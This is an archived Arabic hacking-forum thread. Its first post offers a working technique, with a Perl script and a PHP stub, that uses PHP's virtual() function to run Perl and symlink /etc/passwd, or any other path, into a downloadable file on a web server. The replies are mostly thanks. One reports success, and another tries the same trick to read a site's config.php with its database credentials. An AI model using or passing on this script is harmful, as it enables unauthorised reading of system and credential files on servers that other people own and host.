:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات (http://www.vbspiders.com/vb/f38.html)
-   -   [حصريآ]تشغيل البيرل بأحد دوال php (http://www.vbspiders.com/vb/t31221.html)

S4udi h4ck 06-12-2010 05:28 AM

[حصريآ]تشغيل البيرل بأحد دوال php
 
1 مرفق
السلام عليكم ورحمة الله وبركاته

كيف الحال ياعيال إن شاء الله بخير ...

دالة virtual

هالطريقه نادر اللي يعرفها ويمكن محد فكر فيها و الطريقه من اكتشافي و استنتاجي

طبعاً راح نشغل البيرل ليس مثل ملف cgi-telnet او اي شيل ثاني بالبيرل

هالدالة تشغل اي كود بيرل يطبع امر ماء على الصفحة وهو طبعاً يستفاد بالسيرفر لتنسيق html

لأصحاب تطوير المواقع و برمجة السكربتات ونادر بالمره انك تلقى سيرفرات حاطه الدالة من ضمن

الدوال الغير مفعله ...

راح اعطيكم كود تضعونه بملف بيرل



كود PHP:
[html] #!/usr/bin/perl -w


$target="/etc/passwd";


$distension ="ss.zip";


print "Content-type: ****/html\n\n";


print '<**** ****="#C0C0C0" bgcolor="#000000">';


$symlink = symlink($target,$distension);


if($symlink == 1) { print " $distension Symlink Created Successfully . . ."; }


else { print "Cannot Symlink File or File $distension Already Exists[/html] . . ."; }




زي ماهو مبين بكود البيرل أنه راح ينشىء اختصار عن طريق Symlink


لملف /etc/passwd بملف اسمه ss.zip

ترفعه على السيرفر وطبعاً اعطاءه تصريح 755 وعطيناه اسم ss.pl

وتنشأ ملف php بإستخدام دالة virtual

كود PHP:
<?php


virtual("./ss.pl");


?>

ارفع ملف الـ php على نفس مسار ملف البيرل


وافتحه من المتصفح وراح يجيك نفس اللي بهالصوره


http://www.mlfnt.com/up_6_2010/12763114361.jpg

راح يقول

ss.zip Symlink Created Successfully

حمل ملف ss.zip وافتحه عن طريق المفكره (Notepad) وراح تلقى محتوى /etc/passwd

الملف في المرافقه

بإمكانك تغير المسار إلى اي مسار اخر تبي تقرأه على السيرفر ...

و أيضاً تستطيع إستعمال دوال اخرى للبيرل ...

و إن شاء الله يكون الشرح مفهوم للجميع ..


أهداء الي منظمة : kala$nikoV
smilies15

و بالتوفيق ...
G0D-FaTH3R

KaLa$nikoV 06-12-2010 05:51 AM

مشكور ع الشرح الرائع

من بعد اذنك اسمح لي باضافه


(الشرح هو تخطي عباره عن عمليه سحب ملفات ع السيرفر من خلال
دوال لغه perl )

شكرا ع الاهداء والشرح

++ تقيم

z3r0 b0mb3r 06-12-2010 03:08 PM

مشكورررررررررررررررررررررررررررررررر أخي بارك الله فيك
لك مني أجمل تحية

H3x HaCkeR 06-12-2010 04:23 PM

]يعطيك العافيه

معاني الفراق 06-15-2010 02:09 PM

يابطل واصل مجهودك

Xa7m3d 06-17-2010 06:45 PM

مشكور يالغالي وتم التجربة بنجاح لكن اخي اسمحلي اصحح العنوان لانو مفهوم الفكرة لا ينطبق ع العنوان بمعنى مش انك تشغل البيرل نفسه من خلال هالدالة فقط هو انك تسحب ملفات من السرفر لايمكن قرائته وهده شغلة يمكن نستفيد منها احيانا مشكور مجدداا وبالتوفيق للجميع

Multi_Hacker 07-20-2010 01:06 PM

مشكووور اخوي

لا تحرمنا من ابداعك

اخوك Multi_Hacker

Net-B0x 08-07-2010 12:59 PM

مشكور جزاك الله خيرا

hack!n9 08-11-2010 07:21 PM

الف مشكوور يا غالي عل كل شيا

cisco_security 08-12-2010 11:40 PM

شكرا لك يا غالي

دحمان39 09-30-2010 08:44 PM

جزاك الله الفردوس الاعلى

GNGR1 10-04-2010 11:36 AM

يعطيك العافيه يا خلفهم

Th3 M4RoC4in GhOsT 10-29-2010 12:08 AM

مشكور اخي الغالي حبيت أسالك سؤال يعني حطيت بدل امر etc/passwd
امر نسخ ln بعدين حطيت مسار الكونفق هيك
ln /home/xxx/public_html/vb/includes/config.php
لكن للاسف طلع خطأ
ياريت لو عندك افادة الله يجازيك كل خير

عصام-محمد 10-30-2010 11:07 AM

بارك الله فيكم

Dr.jmjmah 10-31-2010 11:53 PM

مششششكورَ , والله مبـــدع وكلمة مبـدع قليله فيك
ولاهنت علىآ الشششرح الـوـواضضضح ,
وسسلمت يدك علىآ هيـك موضوع مميزَ

Gx1Sniper 11-03-2010 11:02 PM

بارك الله فيك على الشرح اخوي

تقبل مروري

soufhak 11-13-2010 09:21 PM

شكرا أحي الغالي هي دالة أخت لل include() و require() لكن هذه الدوال تستعمل لصفحات php , هذه virtual تستعمل للسكربتات و هي دالة منادات

شكرا أخي الكريم و يعطيك العافية على ها الفكرة الحلوة

D4RK H4CK 12-12-2010 09:58 AM

كفوووووووو يا سعودي هاك !!

dh_merdel 12-23-2010 05:29 AM

الله يعافيك ^_^

ReD-HaT 02-01-2011 09:24 AM

[align=center]شـكــ وبارك الله فيك ـــرا لك[/align]

kamal199 02-08-2011 05:11 PM

مشكور أخي بارك الله فيك
لك مني أجمل تحية

HaNGaw Kurd!$tanY 03-05-2011 10:09 PM

مشكوورر

AhMaD-HaWLeRY 03-10-2011 12:18 PM

بارك الله فيك أخي

NA NA 03-11-2011 01:48 PM

الله عليك كنق

gprod 07-29-2011 03:13 PM

مشكور يا حبيبي

gprod 07-29-2011 03:27 PM

QMVH GM

sdkcool 08-14-2011 09:59 PM

شكرا اخي على المعلومة

ajouneh 09-14-2011 01:34 AM

رد: [حصريآ]تشغيل البيرل بأحد دوال php
 
merciiiiiiiiiii
&
try

SiLeNt-HaCk 10-13-2011 04:21 AM

رد: [حصريآ]تشغيل البيرل بأحد دوال php
 
شكرا اخي بارك الله فيك

طريقة جدا قوية

بالتوفيق...

aboali 22 10-17-2011 04:35 AM

رد: [حصريآ]تشغيل البيرل بأحد دوال php
 
000000000000000

يحيى زكريا 10-23-2011 06:56 PM

رد: [حصريآ]تشغيل البيرل بأحد دوال php
 
جزاك الله الفردوس الاعلى

Mr.hamoud 03-01-2012 03:42 PM

رد: [حصريآ]تشغيل البيرل بأحد دوال php
 
thnx my friend

senderman 01-15-2014 11:22 PM

رد: [حصريآ]تشغيل البيرل بأحد دوال php
 
تمام

ehoda8 08-11-2014 01:41 PM

رد: [حصريآ]تشغيل البيرل بأحد دوال php
 
مشكوووووووور اخي


الساعة الآن 07:25 AM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0